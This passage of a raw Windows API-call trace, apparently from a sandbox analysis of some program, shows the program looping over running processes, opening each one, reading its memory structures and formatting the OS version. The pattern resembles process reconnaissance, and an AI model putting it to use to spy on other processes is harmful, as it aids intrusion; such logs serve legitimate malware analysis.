OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0xa9c [0357.735] GetLastError () returned 0x0 [0357.735] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.735] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.735] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.735] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.736] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.736] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.736] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.736] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4b6020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.736] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.736] malloc (_Size=0x6a) returned 0xea8ba0 [0357.737] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7d22ba, lpBuffer=0xea8ba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0357.737] free (_Block=0xea8ba0) [0357.737] CloseHandle (hObject=0xa9c) returned 1 [0357.737] _ui64tow_s (in: _Value=0x10dc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4316") returned 0x0 [0357.738] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4316") returned 4 [0357.738] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.738] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.739] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10dc) returned 0xa9c [0357.739] GetLastError () returned 0x0 [0357.739] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.739] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.739] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.739] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.740] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.740] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.740] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.740] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.740] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.740] malloc (_Size=0x72) returned 0xea9120 [0357.741] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722c2, lpBuffer=0xea9120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0357.741] free (_Block=0xea9120) [0357.741] CloseHandle (hObject=0xa9c) returned 1 [0357.741] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0357.742] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4324") returned 4 [0357.742] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.742] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.743] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0xa9c [0357.743] GetLastError () returned 0x0 [0357.743] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.743] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.743] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.743] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.743] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.743] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.744] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.744] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.744] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.744] malloc (_Size=0x74) returned 0xea8da0 [0357.744] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea8da0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8da0*, lpNumberOfBytesRead=0x0) returned 1 [0357.745] free (_Block=0xea8da0) [0357.745] CloseHandle (hObject=0xa9c) returned 1 [0357.745] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0357.746] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0357.746] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.746] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.747] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0357.747] GetLastError () returned 0x0 [0357.747] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.747] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.747] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.747] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.747] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.747] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.748] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.748] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.748] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.748] malloc (_Size=0x66) returned 0xeb63f0 [0357.748] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb63f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0357.749] free (_Block=0xeb63f0) [0357.749] CloseHandle (hObject=0xa9c) returned 1 [0357.749] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0357.750] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0357.750] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.750] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.751] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0357.751] GetLastError () returned 0x0 [0357.751] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.751] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.752] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.752] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.752] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.752] malloc (_Size=0x84) returned 0xe881b0 [0357.752] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe881b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe881b0*, lpNumberOfBytesRead=0x0) returned 1 [0357.753] free (_Block=0xe881b0) [0357.753] CloseHandle (hObject=0xa9c) returned 1 [0357.774] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0357.775] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0357.775] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.775] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.776] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0357.776] GetLastError () returned 0x0 [0357.776] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.776] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.777] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.777] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.777] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.777] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.777] malloc (_Size=0x70) returned 0xea8ca0 [0357.777] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea8ca0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0357.778] free (_Block=0xea8ca0) [0357.778] CloseHandle (hObject=0xa9c) returned 1 [0357.778] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0357.778] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0357.779] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.779] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.779] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0357.780] GetLastError () returned 0x0 [0357.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.780] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.780] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.781] malloc (_Size=0x6a) returned 0xea95a0 [0357.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea95a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.782] free (_Block=0xea95a0) [0357.782] CloseHandle (hObject=0xa9c) returned 1 [0357.782] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0357.782] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0357.783] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.783] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.783] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0357.783] GetLastError () returned 0x0 [0357.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.785] malloc (_Size=0x86) returned 0xe87e50 [0357.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe87e50, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87e50*, lpNumberOfBytesRead=0x0) returned 1 [0357.786] free (_Block=0xe87e50) [0357.786] CloseHandle (hObject=0xa9c) returned 1 [0357.787] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0357.787] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0357.787] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.787] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.788] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, 